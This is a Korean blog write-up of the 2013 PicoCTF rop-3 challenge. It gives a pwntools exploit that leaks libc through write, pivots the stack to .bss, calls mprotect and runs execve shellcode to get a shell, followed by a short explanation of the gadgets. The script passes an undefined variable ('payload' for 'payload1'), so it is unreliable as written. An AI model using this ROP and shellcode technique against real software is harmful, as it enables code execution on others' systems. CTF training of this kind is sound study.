HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 아파치
  • log4j
  • 취약점
  • JNDI

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

[ROP 문제]2013 Pico ctf rop-3
SYSTEM HACKING/문제 풀이

[ROP 문제]2013 Pico ctf rop-3

2017. 12. 18. 23:58
728x90

저번 문제에 이어서 rop-3을 풀어보겠다.

이번문제는 두가지 풀이방법이 있다.



첫번째는 문제를 원격이아닌 로컬에 두고 푸니까 ulimit -s unlimited명령어를 통해 ASLR을 끄고 풀면 된다.(※32비트 가상머신에서 해야됨)

(쉬움)


두번째는 ASLR을 끄지 않고 푸는 방법이다.

(어려움)



두번째 방법으로 문제를 풀어보겠다!


ASLR을 우회할 방법으로 mprotect를 써서 쉘코드를 올려서 문제를 풀겠다.

mprotect는 메모리 영역에 대한 접근을 제어하는 함수이다.

이것을 이용해서 bss의 NX비트를 꺼서 풀어보겠다!


#!/usr/bin/python


from pwn import*


r=process("./rop")

e=ELF("./rop")

l=ELF("/lib32/libc.so.6")


shellcode  = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


pppr       = 0x0804855d

pop_ebp    = 0x08048443

leave_ret  = 0x08048471



payload1  = ''

payload1 += "A"*140

payload1 += p32(e.plt['write'])

payload1 += p32(pppr)

payload1 += p32(1)

payload1 += p32(e.got['write'])

payload1 += p32(4)

payload1 += p32(e.plt['read'])

payload1 += p32(pppr)

payload1 += p32(0)

payload1 += p32(e.bss())

payload1 += p32(0x400)

payload1 += p32(pop_ebp)

payload1 += p32(e.bss()-0x4)

payload1 += p32(leave_ret)


r.sendline(payload)


libc_addr = u32(r.recv(4))-l.symbols['write']


payload2  = ''

payload2 += p32(libc_addr+l.symbols['mprotect'])

payload2 += p32(pppr)

payload2 += p32(e.bss()-0x20)

payload2 += p32(0x400)

payload2 += p32(7)

payload2 += p32(e.bss()+len(payload2)+4)

payload2 += shellcode


r.sendline(payload2)


r.interactive()



exploit코드를 설명하자면 write함수의 주소에서 write함수의 offset을빼서 libc의 주소를 구해준 후,

read로 payload2를 통해 bss에 mprotect의 함수를 적어준다.

(주의할점은 mprotect는 void *addr을 0x1000의 배수로 받아준다.)

그후 pppr을 통해서 shellcode를 가리킨다.

그리고 payload1로 돌아가서 e.bss()-0x4를 pop ebp 해주어서 ebp에 bss값을 올린 후

leave를 해준후 ret을 해준다.


leave= mov esp,ebp        ret= pop eip

    pop ebp                    jmp eip


그럼 쉘코드가 작성이되면서 쉘이 따지는 모습을 볼 수 있다.



'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글

Backdoor CTF-2015 forgot문제  (0) 2018.01.04
[ROP 문제]2013 Pico ctf rop-4  (0) 2017.12.20
[ROP 문제]2013 Pico ctf rop-2  (0) 2017.12.13
[ROP 문제]2013 Pico ctf rop-1  (0) 2017.12.13
[ROP 문제]DEFCON2015문제 r0pbaby  (0) 2017.12.11
    'SYSTEM HACKING/문제 풀이' 카테고리의 다른 글
    • Backdoor CTF-2015 forgot문제
    • [ROP 문제]2013 Pico ctf rop-4
    • [ROP 문제]2013 Pico ctf rop-2
    • [ROP 문제]2013 Pico ctf rop-1
    HO_9
    HO_9

    티스토리툴바